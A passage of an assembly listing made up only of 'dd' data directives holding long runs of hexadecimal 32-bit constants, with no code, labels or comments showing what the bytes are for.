0CC40FD55h, 80253FFh dd 3FB9660Ah, 59DC74F8h, 0B1F01440h, 0B767B529h, 7404F70Bh dd 6600F408h, 82277779h, 2F5B589Dh, 87376071h, 0E43F8A00h dd 5C705A73h, 40582F09h, 0F94E0122h, 63DBB985h, 0FEBB7C80h dd 0FA05CEA1h, 6B5D8F80h, 0BC3EC4BBh, 138858BAh, 9CA30291h dd 15F96121h, 904F7B18h, 0AF80C825h, 59D2D92h, 573ABD29h dd 0AA6BAA7Dh, 11011923h, 8EF0C7F3h, 6DF282DAh, 333BD708h dd 2629DA13h, 4AFB49C8h, 602CC950h, 9B0015ACh, 0E2D1D925h dd 0EABFF2h, 0A5EC56FDh, 90EBA836h, 0FCB7BFh, 0F97FC63Bh dd 0A617E69Fh, 6FEA6AE0h, 3DCA07ABh, 0DF10450Bh, 3CDD5CBh dd 512F6854h, 0D44A2B63h, 3CD08BE0h, 5DE7C52h, 0FB26F2A1h dd 0ADA0D6CAh, 3127C4B9h, 0B0614661h, 1E2005BFh, 0B902A3E9h dd 1AEE845h, 0D869961Bh, 41F62536h, 2F219DD1h, 0F5002A8Ah dd 88CEDF62h, 4001AE4h, 0FA0BBC97h, 29D098DBh, 17F49D29h dd 4807AE58h, 6164A913h, 0E74A8CE8h, 0FBB4DCh, 0B292F897h dd 0A4BC2DE7h, 7111E340h, 4A1720Ch, 38C293F1h, 0D2AE8360h dd 2959CA10h, 0B84FC4Eh, 0FD196DB5h, 4D9D5016h, 0E72140C1h dd 0F8B57ED2h, 52204048h, 0A4B5EA98h, 0B1E85B51h, 0C0559B96h dd 89E25E7Ch, 650A9891h, 0BEB31D02h, 278A64D8h, 65CD89FCh dd 0E401FE7h, 8376C0FAh, 3AF6EEC9h, 1723BC6Bh, 6139350Eh dd 99D2BB8h, 0EABF1474h, 17F927AFh, 8573C542h, 0B586778h dd 0ED76B825h, 13F9C6FFh, 0EFFBE9BBh, 0D88A4A32h, 794095F1h dd 2A4E319Dh, 0C151CC9Ch, 0A371E3FAh, 0AE203A5Bh, 9780Fh dd 0C59BF55Dh, 93CB9D87h, 0FA201C02h, 772BCDE2h, 691C8E5h dd 0CF8BA000h, 0F98B857h, 16E08153h, 4EB5F96h, 0E861F71Bh dd 8E0D88B2h, 0E620D686h, 0E0E596FFh, 186BE702h, 0F58B7C4Eh dd 4A0025C6h, 554CCCE3h, 72E22797h, 0FDD32D78h, 0C8001559h dd 0EF0EA292h, 1311E64h, 34C04279h, 864128B6h, 285A725Fh dd 0DE001AE8h, 0BDC82CC5h, 0FD2F43h, 13D27A89h, 80557767h dd 92E69Fh, 0B7102540h, 1A1F14ECh, 5FAE6D09h, 0A8CFD158h dd 0B101E28Bh, 75BF0203h, 87D050CDh, 59890F27h, 0D0CB47BCh dd 23D44D6Ch, 1B7DAB04h, 0C8BBE89Fh, 0AE994A10h, 41A16D4Bh dd 20591A73h, 0F1BFF9E1h, 0D9D0577h, 0C16DAE1Dh, 88A8E069h dd 5E4D9E00h, 0FA8C22C1h, 80AD99B6h, 60A666FDh, 0FE003D8Fh dd 0F1214DB3h, 0B228676Eh, 5FDF0B9Ah, 2484A8BBh, 0A408E860h dd 9B7594EBh, 0CB96C0AFh, 11EF392h, 29B314B0h, 6207E98Dh dd 8E712AE0h, 6BE13CF4h, 0B23E947Ah, 56CD6F85h, 0A5CEBE3Ch dd 1EE4BDBCh, 0B78F0F80h, 1060B4A7h, 0D1ABE61h, 51213927h dd 108542A7h, 57560C6Ah dd 27CD13DCh, 2201AFF8h, 21B52956h, 522B62h, 95FDACCh dd 80058D2Dh, 0A917BB28h, 2BD39D07h, 7C805713h, 0BF5BE9B9h dd 24ECE8D1h, 0D6C827EFh, 6048C146h, 0D376C0FCh, 29FD631h dd 0A24F4E3Dh, 0A16305A9h, 68ACB0C7h, 6EC19661h, 5B9202BFh dd 0AF2E7731h, 96EC8624h, 0C76C9630h, 0E1B707A8h, 0B27F18CBh dd 0F5828B44h, 17351998h, 9DF8F39Dh, 0C4519729h, 0AC8DBDF0h dd 0A5B68E14h, 0DD020E42h, 64E5130h, 0C0E39E00h, 0B27F3979h dd 0BF9B02D2h, 581D47D7h, 6DE9A074h, 83074053h, 0A3064391h dd 0B5B660BEh, 0E5EB1F8h, 171E861h, 0D6C50C3h, 248809BBh dd 0F42D3031h, 68EFAF61h, 0F032F361h, 4FD9A1D0h, 0C24EF155h dd 29FBD60Eh, 6C6A2F88h, 0AC0BDE00h, 1ADB8021h, 0E04E5796h dd 0C44E90DDh, 0AF7F0BCCh, 715CE8F6h, 0B1739FF6h, 3E51ADh dd 95BFA3D2h, 7D008FA0h, 6BED6E17h, 4E47E12Eh, 3714C7D0h dd 0EF0D14B5h, 0CC2E09DDh, 0C872B3A4h, 0C38C224Eh, 0D59D1003h dd 7E018B11h, 527B2510h, 0EB9E387Ah, 12837D0Ch, 8491BD33h dd 1509EA03h, 0A4E8D315h, 2F790863h, 0BD04F827h, 3B297518h dd 0F1818EBAh, 2AAE2539h, 1BB29AE6h, 773FA30h, 2A84D510h dd 0CDF5448Eh, 2DAF2E1Fh, 0F2352F6Ch, 5026EAEh, 0AEEB67B7h dd 8BC131BEh, 69C647DEh, 0B45741E2h, 0C08781BCh, 0DC539242h dd 3CB55208h, 9D0C0D80h, 2EBEC0F2h, 12F7F7E1h, 0AE3F35CEh dd 2871AFCCh, 1CE8F57Ch, 25FEB8DDh, 86DCA65Eh, 11E40041h dd 4FCF938Ch, 3A9DB21Dh, 50475BB3h, 0FC012211h, 0BB663ECFh dd 6B3BE062h, 21723FBh, 0E0FFA065h, 1F4E3D70h, 0CC01CE9Dh dd 283AC16Dh, 0C2E142B2h, 7022FBFFh, 0E4279C76h, 9DAD46FEh dd 0A5CAC210h, 26E34403h, 31F6A955h, 5F7FED9Eh, 30886BC6h dd 0A5F32780h, 0E8AEC345h, 917B3C40h, 0CD4E0E8Bh, 0C43C1FBFh dd 0EFF85BB1h, 5636CD89h, 5160A9F2h, 8B802F61h, 9398A0C1h dd 7AA8B0A5h, 9A389DCDh, 0BA1226BBh, 2F81730Ch, 57D650FEh dd 6D6A2941h, 36F0BDADh, 0A05109A9h, 8B7E6A2Bh, 638F00DEh dd 2E37E98Dh, 0DF61F435h, 303BEFBAh, 28BC1F3Dh, 9FDC2601h dd 14547AA3h, 0EBA133Ah, 2F102197h, 0EE097490h, 97A0A8FEh dd 0AA6AF524h, 0C52DEA6Fh, 79E0C656h, 54FFBDBFh, 95FC9545h dd 29E23159h, 56E45585h, 1EDD150h, 2F8A5F4Eh, 6979322h dd 271B0EDCh, 0E124C195h, 0C1939B02h, 0C15ACAE6h, 76800F38h dd 2C7336FEh, 155BC8E9h, 3B01E300h, 4A602DCh, 0B1A8CE5Fh dd 5110B294h, 0B8A2921Eh, 0B663800h, 0BFA92C14h, 0EABE5B04h dd 51EDFDF6h, 350077BCh, 6673B013h, 0BBB61CCh, 3B245F45h dd 0BF016D53h, 0B6E90317h, 896BA33Ah, 0C13529F9h, 37BE2AEBh dd 0B5F2CF89h, 0BB4930D5h, 0E413623Dh, 521110A5h, 29802C7Ch dd 5CDD6FD4h, 8B2527F6h, 366974FBh, 952F8C26h, 90FDC873h dd 44B8386h, 0E18C8D16h, 1DAEE09h, 0EBD2A22Eh, 2FAD972Bh dd 0FFC4FE64h, 7AABB1C5h, 319231Dh, 0CDC4D5D0h, 0F98A3C88h dd 60EF04D7h, 2769BD82h, 0DCF66A81h, 8F58DC9Ch, 59CD2420h dd 2509D4A6h, 44A07933h, 13585D78h, 11BFC41h, 0C4B3C77Ch dd 0D4EE2793h, 0D4014CBDh, 4D732D60h, 0F06BDA61h, 8E97F986h dd 0E4FAA2A5h, 0BE337971h, 23281000h, 0BD0E609Fh, 7F4DF909h dd 9C570266h, 99A15EC1h, 20098337h, 0D1BF2E28h, 899D84A6h dd 82A5BD0Dh, 0DC35BD03h, 0ABC1920Eh, 0A59D304h, 0E0BA6600h dd 0F4C4610Ch, 0A9BC0FF1h, 209CBC92h, 4534B1Bh, 0AAC0E5C6h dd 0AF51A1D3h, 1B80C8E4h, 148B92ECh, 0E0B501D1h, 99E19744h dd 85159A07h, 3A104B98h, 1EA6AC01h, 880FDE4Dh, 9311B36Ah dd 0E8A88C16h, 0C5BF5032h, 0A0F3FE8Bh, 0DDC88100h, 973157EFh dd 2C077A41h, 0DF009F9Fh, 1524EB35h, 12FC76h, 5F16F73Bh dd 0FCCF484h, 0A160B81Ah, 9D988138h, 322F156Dh, 80210EB2h dd 0D28D27CFh, 0D6E9166Dh, 0BF465512h, 80BD3E80h, 19AA6809h dd 0DB595505h, 93A9554Bh, 5D01FA51h, 9C053D6h, 22CCB32Ah dd 0B5B1A03Ah, 98C5B518h, 2509E90Ch, 0D3CA0749h, 0B053F505h dd 9589878Dh, 0E9A6A3A6h, 1AAA4B00h, 23DA2F8Ah, 5DE30291h dd 61E1DB80h, 4FC2E25Eh, 0FB800DB0h, 3A4889A5h, 172E44B5h dd 0E8AEFDC0h, 0C23A0006h, 0C6E15F99h, 80126EB5h, 0F11733E7h dd 27B9A4B4h, 5B5B100Bh, 14D25DD0h, 88018A8Ch, 80441527h dd 0BD4EFC75h, 78DE92A5h, 49A05C08h, 6E7F8225h, 0E10C00C7h dd 0C7D24675h, 4DB7C02Bh, 8475C5C0h, 0BA0D8341h, 0ED5BB984h dd 8831167Ah, 4B0002B8h, 7EED53F9h, 770712Dh, 3EE1E746h dd 0BD59E4C1h, 643FB4BBh, 0F8CD7309h, 0DCCA76h, 0AF4E5D58h dd 0B5897D4Fh, 0DB1AE125h, 0FC600912h, 611303FCh, 0EA4BACE2h dd 3D021297h, 0C1D8F4B9h, 2FB46CBBh, 81AD9A75h, 56CCB6A8h dd 952B9B1Ch, 0E87818F5h, 82D10079h, 4937BA97h, 0A901F5BBh dd 1F7DC7D6h, 0E22A86CDh, 8C14EC05h, 0BDC4D74Eh, 800F5491h dd 810BE23Ah, 38B3FB58h, 3283E0h, 0AAB95B60h, 1571E30h dd 0C83C270Bh, 34298429h, 66E2A6BCh, 0CD8E029h, 401D9C01h dd 996FD073h, 4F8F8200h, 4410FCDDh, 3862F8ECh, 0B74FB8BDh dd 7BD3B04Dh, 656102FEh, 2A931940h, 44BF9166h, 8718973Ah dd 195EBD23h, 89E131D1h, 0E22C1C96h, 0E7242510h, 420394Ch dd 1DA526C7h, 0B01E4E8h, 0E2BD5517h, 923F888Ch, 200D41C9h dd 0A4B8138h, 0AB3048CEh, 7D8D315Fh, 606C04B7h, 37E06DE6h dd 7E58F372h, 0F7AD5BCFh, 0FA24854Bh, 0AF92A39Bh, 844B28E6h dd 0B815E91Fh, 5D5F096h, 0B5E3A968h, 3CD6B059h, 41D45A4Bh dd 0FDE457BFh, 0B9E9B83Eh, 80ED9E03h, 379D5BB4h, 1000D82h dd 0B504F03Dh, 9D76BD4h, 0B41C6792h, 0C05F3257h, 97F65C7Ch dd 2A20289Ah, 0CB050145h, 6D439B07h, 0EED33D7Dh, 0F796E2C2h dd 5064FEC6h, 5CEE04D8h, 106BECABh, 0EE0B4F26h, 0D9A93021h dd 8B630968h, 19420C90h, 9C07EE56h, 0FCA98F88h, 0D500DC2Ah dd 16744705h, 0B9F815AEh, 19FD8053h, 0C72B3BB6h, 6A917803h dd 0D06C6360h, 564D570h, 28CF16A7h, 2662A229h, 74ADCB5Bh dd 0BCF8C423h, 0C3E9C411h, 0F37E59A1h, 48B4D698h, 0C6539D5Bh dd 0F0191A59h, 4609B389h, 57B5F7F0h, 1A911535h, 0F3B73D80h dd 610086ADh, 1DE3815Dh, 5E1B3BA5h, 1AB6F89h, 2F8D01FDh dd 8D281367h, 0AC903BD5h, 4EC2DA25h, 97DC0AF6h, 0B309D171h dd 8D3C7215h, 0D00AE0ABh, 8512AA7Ch, 6403AE57h, 5A60BD1Dh dd 81E8A4B2h, 0DE4ECE05h, 94FE68C8h, 7F7BFEF6h, 0D8012E00h dd 5BF7E65Eh, 0ABA0F65Eh, 9B0B822Bh, 680119FAh, 2729F764h dd 9224DD8Ah, 36F42E9Bh, 359D05EEh, 0A974AF09h, 710122E2h dd 3FF26266h, 38A7D4DCh, 93189601h, 0D37B163Bh, 0CF96A88h dd 3EA25F17h, 4DDC6C6Bh, 8908B749h, 38553FEh, 4A1DBC85h dd 19C824DAh, 88EC8BC0h, 90B6FE42h, 0AF14B432h, 1540B050h dd 1379D61h, 0BCB14601h, 6260911Dh, 0D5C5AAA9h, 7255F5B2h dd 0B531099Bh, 5F710BB9h, 0E1952CECh, 3882CE6Bh, 0EFA74E2Dh dd 5E104CA3h, 0FC4B1F85h, 38F89382h, 0B896165Ah, 0B7C0EBA4h dd 19D0BF9h, 0CFF30E4Ah, 0AA048084h, 7980029Eh, 0D1CBABC1h dd 3E299C01h, 68A0F59h, 0E0E88113h, 1052A075h, 7A43CDD3h dd 0C54D9B3Fh, 0D404A1FDh, 79C826C9h, 498890FFh, 6B5B8215h dd 51623E9h, 801B0C63h dd 0C7DBDFE1h, 64E2EDB5h, 1FE26418h, 9D81465Ch, 3085232Eh dd 0A45FB552h, 0DEEC1EBDh, 4BFE3D4Dh, 0E3EE620h, 0E75D02B3h dd 1528929Eh, 0B5483A5Dh, 855C9CE7h, 122AEEDh, 982116F2h dd 0F852746Bh, 25178059h, 64C04DFCh, 5836017h, 0B9034F25h dd 0C48D8863h, 0DDDDAAFBh, 17FC6A6Bh, 23C4B9F9h, 8960C361h dd 7A49FB2Eh, 0A58A7161h, 17644D6Dh, 9CD20D60h, 2880603Bh dd 6E2D9E28h, 0E2ECFCFEh, 58091BF9h, 0C6F54A1Eh, 35251AE8h dd 0B8E86E27h, 70872538h, 503DE362h, 0CB986C02h, 2500C9CCh dd 1AFC217Ch, 0A931038Ch, 708B33CAh, 138C22h, 8678C61Ah dd 0A2C92D46h, 0ACBDD300h, 7ABAF0F3h, 5A5C1CE5h, 3A566723h dd 9ABA5F45h, 1B98D360h, 38B7037Ch, 0BFB8D006h, 6A3FCCA8h dd 5764B3BCh, 1E4D30C1h, 0BF507580h, 86C71B5h, 9A937092h dd 141F178h, 9F280C22h, 2F633F1Fh, 0B72BD2F1h, 0C9FEE540h dd 8AAD0C2Ch, 0B14AD4F6h, 21A920BEh, 9C1E0929h, 6A84E5E1h dd 0A5AB8BC0h, 7A66AC62h, 74AB1B12h, 14D5C2CFh, 75686E57h dd 6083025Ch, 9824D082h, 0F5F2C062h, 528A5B4Bh, 35C62F2Fh dd 0B19964Dh, 0DC5B12F4h, 25749F01h, 0FE389090h, 82E38001h dd 0FDAAA401h, 63F4703Bh, 0C6C4A391h, 0FDCA19D5h, 0FBD26034h dd 556129D2h, 1464C56Dh, 70BB67h, 64356DB7h, 803D6019h dd 0A7D14E8h, 0CC5EB0D9h, 3097FB99h, 29B9BB1Eh, 808D60CBh dd 342A6AA3h, 0AC1CB750h, 815C072Dh, 0FD647B40h, 12A44FE0h dd 0E261F1E8h, 0A0578839h, 84894F9Bh, 0A0DDBF92h, 9C149A2Eh dd 3E46D525h, 0C9DD8D2Ah, 7C95C670h, 7D48DC88h, 0F5471212h dd 1BEC11E9h, 83D4008Ch, 7429224Ch, 0F51220C0h, 0E8FDE9h dd 68D78925h, 58C18B3Eh, 79100253h, 0C65F250Dh, 2549742h dd 8A305212h, 3A196417h, 3B9720AFh, 4996889Ah, 9CFC0900h dd 3223CD6Ah, 5FFE13C0h, 85E9905Bh, 66820871h, 5A8607DFh dd 22FECC15h, 0E8587199h, 0C9BD0B12h, 3ECBB1EAh, 0CA01656Fh dd 345E36F3h, 4D0520E4h, 84280B58h, 21AD4B9Fh, 0BC26B116h dd 0DD898BC5h, 0E381D310h, 8BE56109h, 0BF6F6452h, 46552BEAh dd 0FFBF39BEh, 4CCE2805h, 8D7AFE52h, 0F378007Fh, 99F7F7Ch dd 0C4C4D85h, 152DC4D7h, 937B5B0Bh, 0A7E5D0h, 597134F1h dd 0F525FFCBh, 7C2FFB94h, 3095D65Fh, 1F8D5347h, 25FD3F59h dd 11258958h, 0A696C693h, 0ED3A0024h, 4BF87FBFh, 3692CB1Fh dd 0D1FF5B16h, 3B80F9DBh, 7D9D23F8h, 8BFC1E5Eh, 147E99E7h dd 6A9114F6h, 0E54BC402h, 0EECC6FEFh, 0C6150E74h, 0DA403421h dd 43D7A225h, 2D68C902h, 4A65C12Bh, 70F85B16h, 0D9711DF4h dd 67255D78h, 0A4C17B09h, 9413D63Ch, 38AB8BE9h, 8F90A90Dh dd 62377F95h, 0C1B2093Fh, 25E422Eh, 750A3D98h, 9097296Eh dd 78BBBh, 168A4BC5h, 6055D774h, 2C9BA43Ch, 1560F790h dd 1D4FC208h, 980BA76h, 0E900CD44h, 12BD91B5h, 674C1617h dd 0D6003AA2h, 7ADA74DBh, 9F00B605h, 0BBB8CDDh, 980D7F0Fh dd 950784Ch, 14CFB85h, 70D3DB75h, 750C8AC8h, 0F0983311h dd 0F83297DBh, 0CB250CF0h, 95F7C659h, 1A7812FBh, 220F5B27h dd 0B557F9D4h, 891491DEh, 0A9CD8392h, 12454C0Eh, 0D45B50Bh dd 0CF50F25Eh, 0F93197EFh, 0EBE71705h, 0F2B056h, 0E6A94DBFh dd 0BD096070h, 0D8FF0555h, 0D4B2499Dh, 8AAC614Eh, 16E45625h dd 0A5B14100h, 6CE2D339h, 4EA374C7h, 232600DCh, 861CF9EAh dd 0F88B5B13h, 0C4A022ABh, 7A26DF2Bh, 0F8E0938Fh, 0E0B3BA5Bh dd 4C0BE910h, 0F70F397Bh, 0A2021DD6h, 9188195h, 0ECC24405h dd 0BB6934E4h, 5731F9ACh, 21E6528h, 6FE9F75Fh, 69F57BDEh dd 80FAC1E0h, 69599501h, 0E9FC0B2Ch, 2D7E9B71h, 0ED788522h dd 48FA494Ah, 0F108076Dh, 5F123502h, 0FF39C920h, 1852B572h dd 0E8072069h, 0B966A041h, 0A1AB0BA2h, 11F58B5Eh, 0A76A611Dh dd 2D89129Fh, 1F886FBDh, 4525D4A0h, 14A1C52Ah, 5D4081FCh dd 3D8D3431h, 8286AD61h, 0D52FC05Ah, 988005B7h, 0AC0999B4h dd 9CB3009Fh, 0C7811273h, 0E119E4D8h, 8058F957h, 372BB031h dd 69E390ACh, 0F4165B9h, 9E9B63Ah, 703DEDBBh, 0DCAA9466h dd 5EB26C2Fh, 30F0A5F6h, 8B022041h, 9C9EF6B5h, 59CF2FB8h dd 0DFFBF460h, 0BB7661h, 2B6AA3B5h, 4DF780D2h, 914B3F97h dd 0AD419C16h, 59529D6h, 5648037Ch, 0DBECBF14h, 0DABC6059h dd 0B97DD109h, 0B3E7474h, 6774AA30h, 392DEDC4h, 1248B89Eh dd 16A78D09h, 0D8C109A0h, 64A76871h, 0A510C063h, 2CD23DDBh dd 1CDDAF04h, 3EB89A4Ah, 0AE04BBACh, 2B14A6DCh, 6BAA6CAEh dd 60734FB7h, 8C545263h, 0E75E28FCh, 0B0D33FF8h, 2D931E5Ch dd 15B5083h, 0DD1D92B5h, 0BB00753Ah, 0E1FF7C42h, 2183B7BDh dd 18D98291h, 95CCB3Ch, 0BD03E950h, 0C5079C3Dh, 0DBE0C690h dd 4B35A6CCh, 32278A30h, 56F855D3h, 108F51FFh, 3AC026BFh dd 13F25E9Ch, 26338D8h, 0D1D8DE7h, 8BD98C20h, 0E18025FEh dd 0A7E0174Dh, 191279Ch, 0DCBFF89Fh, 2B32214Ah, 12FC145h dd 0A5A1F5B7h, 0CDF34163h, 0A2A67B2Ah, 0F6C270F5h, 0C41226A0h dd 0CBB3B464h, 0C300E821h, 0AADE9676h, 0BD44003Fh, 0FA0F3EE7h dd 4D01CBD7h, 203DB149h, 0CC2F2355h, 570790DDh, 505F8AB3h dd 82DA3769h, 0F883E061h, 67405474h, 0A963DB7h, 548D640Bh dd 8871ADDFh, 9B1F8026h, 6876DA80h, 0E379174Fh, 88028560h dd 1955B51h, 6614B06Dh, 57AACAFEh, 5652ED53h, 4A74C68Fh dd 20AFDE4Bh, 97E38187h, 62DAED2Dh, 9B00D84Fh, 0E19BD076h dd 5BC8AA00h, 3C4DE441h, 0AC015AAEh, 96E9845Bh, 0C8A510B8h dd 0E3006C8Bh, 0C818154Eh, 66D839h, 6421D6ABh, 0DBAFDA73h dd 704F3F25h, 4B6BF675h, 602E8C5Bh, 84D11AC1h, 342E618Ah dd 5198C130h, 12742E47h, 5FB76ABBh, 621335E2h, 5B20FAD5h dd 879C07h, 6D05FB0Ah, 0A358555Fh, 0CD2A3D03h, 0D529CB63h dd 953091EFh, 0E5560E33h, 2CA5E2B0h, 0C271A825h, 0B968C01Fh dd 0E364BF28h, 0DA8B5316h, 0BBF01B0h, 4E221AC6h, 0DE08F852h dd 800CE996h, 52250A71h, 8807A776h, 69BF8737h, 92F05969h dd 14B4FA8Bh, 0E9BF0568h, 0A356540Bh, 0B9CD5E26h, 13406648h dd 0A85414EAh, 269A80DDh, 29B83Eh, 41457F82h, 0CA2C5F2Eh dd 4104D84Fh, 9AEB8D5Bh, 0C21B8856h, 4C6067EFh, 0DA01A05Ah dd 40A2BBDEh, 0DE4C6F32h, 940800B7h, 26D5FAC5h, 0F10078A7h dd 0E5720987h, 90D3DDC4h, 17F54A8Dh, 6367BB4Fh, 0F9088250h dd 0E04A00E2h, 19A5D1D2h, 5B018A8Eh, 0A7B1F39Bh, 207BB35Dh dd 87577444h, 0F8A49F01h, 0EFAB8536h, 2435F27Fh, 0DAC9F4FCh dd 55D3A084h, 4442259Dh, 1590BD77h, 0B8808E1Dh, 74762138h dd 0BF067750h, 0A32DF878h, 0C9F57329h, 805B3555h, 0F6ED3B20h dd 5590745Eh, 31825DB6h, 302B985h, 372423E9h, 8D049951h dd 0CEFF3045h, 0DA2EF965h, 5E168029h, 2397114h, 0F268B847h dd 6157D88Ah, 382E1C45h, 65D6C306h, 0CFC22EADh, 0DF96F64Ch dd 6F03AB27h, 0B36E41ADh, 83A77B92h, 0C293FD34h, 0C555ADADh dd 2D4249Eh, 1D338F4Ch, 0ED00ADD9h, 7EE2A520h, 10440934h dd 0A758C1DCh, 823E3D95h, 22AD77CFh, 7E3D32DFh, 0EC5B2DF3h dd 12C51ADh, 2C608DB8h, 986D4D5h, 0C4FE954Ah, 0D3A3BCFAh dd 0F482A59Ah, 0B760D20Bh, 30B760F7h, 0E0A1F35Eh, 177D7D0Ch dd 0F42D9523h, 0C1208D9Ah dd 25617128h, 845460B7h, 567812E2h, 0F605ACA0h, 0B509E104h dd 0F7BE0EDDh, 15BD09ABh, 42B7FF0Dh, 0DE611597h, 52891622h dd 0C35B2591h, 7509319Fh, 4A9F6E0Ah, 19EC0F5h, 215AEDB5h dd 1CA29FE6h, 19B2D30h, 0B13A9F5Dh, 89717948h, 5B19DD5Ah dd 604EA6C7h, 0C90C9991h, 20B38300h, 0ADD1EA2Bh, 0D7A4244Ch dd 25B5117Ch, 0A0DC665Fh, 1702B777h, 0F66A7F38h, 0F1C9F311h dd 0A72B9C83h, 2D407F54h, 0EED72D80h, 355F99BAh, 1E6A00D7h dd 4E5298BFh, 13177C5Dh, 0B7F844B3h, 0A2F5B802h, 0E6D55A7Bh dd 1D615D51h, 0F04C4550h, 87B39596h, 0DB913DD8h, 47CC1C4Ah dd 7B1460E9h, 0FABE6B5Dh, 0F5F21000h, 885E625Ah, 8450194h dd 9F21B312h, 4656F29Eh, 30151851h, 0D8E7F7DDh, 3B32540Bh dd 0FE6784D7h, 8D09D990h, 0B62A4A21h, 301AF22Ah, 0A502D28Ch dd 4E2AC4DCh, 5F1E4389h, 0C86DDA5Dh, 2AC9C01Dh, 6BE8C491h dd 409EA75h, 5F9D0384h, 0DE97F9F0h, 0EA07FE1Ch, 9CB89B42h dd 20C96B81h, 0E2582938h, 0E916BD94h, 0BDAB901Bh, 0C5B5124Dh dd 35F7A555h, 0D9EA010Fh, 3F43F608h, 282AD0B1h, 1184306Eh dd 0E8085D9Dh, 42048C17h, 0C663FC16h, 0AC40B704h, 5EE6F547h dd 0BFCC84A0h, 0D5163DFAh, 0E0A071CFh, 0F4C617E9h, 0F24AE6FFh dd 0F1CB82EDh, 0ADC1240Bh, 9EB896h, 1FA8FA26h, 57E1194Eh dd 77500997h, 59533000h, 52AD0630h, 0DF8B3461h, 0E07A202Ah dd 0B179DA15h, 0E031742Fh, 69C5C129h, 0E809CC58h, 5D7BD5Fh dd 13781477h, 8481D1DBh, 7E20A75Eh, 0A500DC5Ah, 0D05BC954h dd 4F599533h, 3B57DD01h, 1CC8F28Fh, 0D96CBCC0h, 5CD004AAh dd 811D4DD7h, 2B0DFDDEh, 5BA0E1A7h, 9101A466h, 0E386BFFEh dd 94207768h, 6517E111h, 2A21AE75h, 6D392731h, 2002A1E8h dd 1CB91509h, 0B10AE046h, 0D928A22Ah, 0C001BF4Dh, 1DDBF4EBh dd 56C1FCD0h, 3225E116h, 453B2103h, 8005A324h, 0F6615AAFh dd 1E8E00E0h, 0B029CD4Ah, 0E9006065h, 0A773EB3Bh, 0C91FA5h dd 74DF01F6h, 0FF8286FAh, 0A8DC2507h, 5241BE11h, 15ECDBF9h dd 0C447BA7h, 983CFD76h, 21C0D708h, 8158A01h, 530C1D20h dd 0D560C013h, 934144CDh, 0DAE6DF00h, 0D29C74DBh, 0A261C87Dh dd 0A11584C0h, 22984644h, 8CFB00D8h, 0A502C915h, 0A30003B8h dd 83C2EF2Bh, 60FFDFD3h, 787228BBh, 0D2077CF1h, 18D71BC1h dd 1E83F7B4h, 0F820041Ch, 27683D70h, 0F90CE6B4h, 15004741h dd 0BA8BEE51h, 0DFFC7769h, 63C5EB8h, 10DE8349h, 0DF9BC06h dd 395534h, 867EA372h, 0D8DFADDBh, 8BDD333h, 94210366h dd 61247EABh, 46D1DC9Fh, 5848266Ch, 0DDD04097h, 28A63900h dd 0CE467E96h, 72311F4Fh, 0F26D414Eh, 0D03BAB9Ch, 3288C8Eh dd 0B000EA66h, 730D3A37h, 0A22928h, 0D1B9AD57h, 0EB397DB5h dd 9600FCFEh, 755ACBB1h, 0D6353h, 721531B2h, 8A0518EAh dd 0AC3F2C00h, 7BF0EF70h, 35CD006Eh, 2759F5E3h, 7100FD8Eh dd 914AD95Fh, 0DB225Bh, 9AD3ECEAh, 4C886557h, 615F6700h dd 0A85348C3h, 371200FAh, 0F75C0C93h, 0EE005B51h, 4C4D80ECh dd 0FE3F0B65h, 0C0627447h, 0A4974138h, 830CE8B7h, 9E06343h dd 2121C178h, 0E02FA48Fh, 8B007542h, 0F0F2628Eh, 616A4Dh dd 0C01DE0B0h, 3CA8742Eh, 20E42600h, 8B678A46h, 0A998CE08h dd 4289B1C3h, 3D00A97Ah, 33C83B22h, 66C06583h, 215B0823h dd 22358100h, 0B49793C7h, 0C1DD00B2h, 0E2485A07h, 78D861D8h dd 814C2468h, 0B011CA3Fh, 22083E18h, 0C42BC838h, 36804058h dd 1DEFF122h, 79562C51h, 45D0EC0Ah, 0F49E0194h, 0E04A7C72h dd 616F6D8Eh, 92A52C68h, 163727Ah, 0C2941460h, 0F482C658h dd 0ED0638DFh, 4690F23Eh, 19C972A8h, 41628F96h, 3802FC7Fh dd 631DE814h, 82533B7h, 0A6210079h, 0A1FC0236h, 0D91D4E43h dd 0E4085295h, 88BF867Ah, 907C153h, 0ECD3AF2Eh, 42B72CA0h dd 900F0006h, 0FD28488Eh, 0D4FE9BE0h, 5F0DA00Eh, 8822A69Eh dd 1FEC01D0h, 6F28338Ah, 0C20C2017h, 7E7D970Fh, 0A952E12Bh dd 0C9D00A37h, 3AB500D2h, 0F8B933B4h, 3F0048A1h, 0EDCE4B93h dd 0CFB35Bh, 0B7ADC1F0h, 1E4CDFBBh, 0B477340Ch, 1DAB388Bh dd 31C7455h, 0DF9CF3D4h, 4533501Eh, 59C62030h, 0AC113010h dd 0D1B34340h, 0D81D3818h, 60E010h, 455ECB2Bh, 0DE57110h dd 0B9754BF2h, 5BBA7200h, 50348ADFh, 0E25401EBh, 0B4454D2Ch dd 1870B026h, 40F3E3E9h, 3C8840FDh, 5D4B1B27h, 36C0A010h dd 7F08C44Fh, 1CC62FDCh, 0FB0F3D3Bh, 89A96CCBh, 4DA0D600h dd 0DB188BEFh, 39293C01h, 84A50059h, 829CC00Fh, 0EB055BBDh dd 2D4B43B2h, 0B160F118h, 0F3640096h, 662BF6F4h, 47009551h dd 2D8A1E98h, 1911F9h, 75F536CBh, 9EB026B6h, 10EF6419h dd 6080F930h, 29833AEh, 1100FB16h, 0A2A938ADh, 306196h dd 0F9211D12h, 0D5A09B98h, 0B41BFA00h, 14598453h, 4D0E00FBh dd 639290C6h, 20C0D2A8h, 0C9E68D21h, 203153FEh, 6064B584h dd 19FE18BBh, 30191201h, 956EECF1h, 0DC49803h, 30DC90FDh dd 0D221ED08h, 5006ECEh, 0D173AC8Eh, 109C6498h, 153954h dd 53991711h, 155CFD7h, 1C5045AFh, 0CB8B9883h, 0C61C88D6h dd 309D645Fh, 82F01758h, 0A040079Dh, 204D2B11h, 321C7980h dd 0C9AB7D35h, 34EC1000h, 2A649D8Fh, 78A4EEBFh, 0B8F1541Eh dd 1C5F3132h, 821038A9h, 7156A391h, 81E3E008h, 612F7D85h dd 0F8D730FDh, 0D890F2A7h, 52009301h, 0F58CA8BAh, 0CCBCA01Dh dd 0EB210508h, 0D552AB00h, 8E72716Ch, 7B230426h, 1EA4994h dd 3A512721h, 0F8E3E6E4h, 0C79E1C6Fh, 0DAE4C08Ah, 0F6F863C6h dd 7F2F1903h, 249C911h, 0A9D92189h, 0EDC3F95Eh, 98782DD1h dd 0B921CF09h, 665E00A1h, 0CA744012h, 0B82664E2h, 0B707FCCBh dd 84617BB4h, 0E842FB13h, 6EC030F0h, 